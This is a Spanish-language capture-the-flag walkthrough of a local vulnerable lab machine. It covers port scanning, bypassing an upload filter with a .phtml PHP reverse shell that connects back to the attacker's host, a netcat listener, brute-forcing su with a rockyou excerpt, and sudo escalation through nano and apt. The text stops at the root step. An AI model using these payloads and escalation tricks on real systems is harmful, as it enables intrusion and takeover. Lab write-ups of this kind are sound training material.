Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unziphidden.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shhidden.tar
Info:
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-17 09:06 EDT
Nmap scan report for hidden.lab (172.17.0.2)
Host is up (0.000034s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: HIDDEN - Tu Tienda de Caf\xC3\xA9s
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: localhost
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds
Vemos que hay una pagina web, pero si nos metemos ha ella no carga correctamente, pero vemos un dominio, por lo que lo resolveremos haciendo lo siguiente.
nano/etc/hosts#Dentro del nano<IP> hidden.lab
Lo guardamos y si volvemos a cargar la pagina con el dominio, veremos que carga todo correctamente.
URL = http://hidden.lab/
Pero no veremos gran cosa, por lo que fuzzearemos mas profundo.
Vemos que se alojan en /uploads por lo que ahora intentaremos subir un archivo .php con una reverse shell, solo que nos dice que no se admiten ese tipo de formatos, por lo que haremos el siguiente tipo de extension para que funcione.
nanoshell.phtml#Dentro del nano<?php$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh",array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>
Lo guardamos y ahora se subira como otro tipo de extension para que no lo bloque solo que seguira haciendo caso a la extension de php para que funcione.
Una vez que lo hayamos subido con la extension de .phtml iremos a la siguiente URL.
URL = http://dev.hidden.lab/uploads/
Y aqui encontraremos nuestro archivo, por lo que antes de darle estaremos a la escucha.
nc-lvnp<PORT>
Y hecho eso, le daremos al archivo, si volvemos a donde teniamos la escucha obtendremos una shell de www-data.
Info:
connect to [192.168.5.145] from (UNKNOWN) [172.17.0.2] 53256
whoami
www-data
Sanitizamos la shell (TTY).
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xtermexport SHELL=/bin/bash# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Escalate user cafetero
Como no tenemos ssh para hacer fuerza bruta desde fuera, lo haremos desde dentro con el siguiente script.
Nos lo copiamos y pegamos en el /tmp para ejecutarlo desde ahi, tambien copiaremos las 1000 primeras palabras del rockyou.txt para copiarlo en un .txt que crearemos dentro de la maquina para utilizarlo.
Copiar el diccionario
head-1000/usr/share/wordlists/rockyou.txt
Lo pegamos en un archivo dentro de la maquina.
nano/tmp/dic.txt#Dentro del nano<PASTE_1000_ROCKYOU.TXT>
Lo guardamos y tambien crearemos otro archivo.
nanoscript.sh#Dentro del nano<PASTE_SCRIPT_SU_FORCE>
Lo guardamos y lo ejecutamos de la siguiente forma, elegiremos a un usuario.
bashscript.shcafeterodic.txt
Info:
Contraseña encontrada para el usuario cafetero: 123123
Vemos las credenciales del usuario cafetero, por lo que cambiaremos a el.
sucafetero
Metemos la contraseña obtenida y ya seremos el.
Escalate user john
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for cafetero on c334669636c3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User cafetero may run the following commands on c334669636c3:
(john) NOPASSWD: /usr/bin/nano
Podemos ejecutar como john el binario nano por lo que haremos lo siguiente.
sudo-ujohnnano#Dentro del nano^R^X#(Esto te habrira una linea de comandos dentro del nano)reset; sh1>&02>&0
A eso ultimo le damos a ENTER y se nos habria ejecutado ese comando, por lo que hacemos.
clear/bin/bash
Y habremos limpiado la terminal que se veia mal y tendremos una shell mejor.
Escalate user bobby
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for john on c334669636c3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User john may run the following commands on c334669636c3:
(bobby) NOPASSWD: /usr/bin/apt
Por lo que podremos ejecutar como bobby el binario apt, por lo que haremos lo siguiente.
Y dentro del entorno del apt escribimos lo siguiente a mano.
!/bin/bash
Con esto obtendremos la shell del usuario bobby.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for bobby on c334669636c3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bobby may run the following commands on c334669636c3:
(root) NOPASSWD: /usr/bin/find
Vemos que podemos ejecutar como root el binario find por lo que haremos lo siguiente.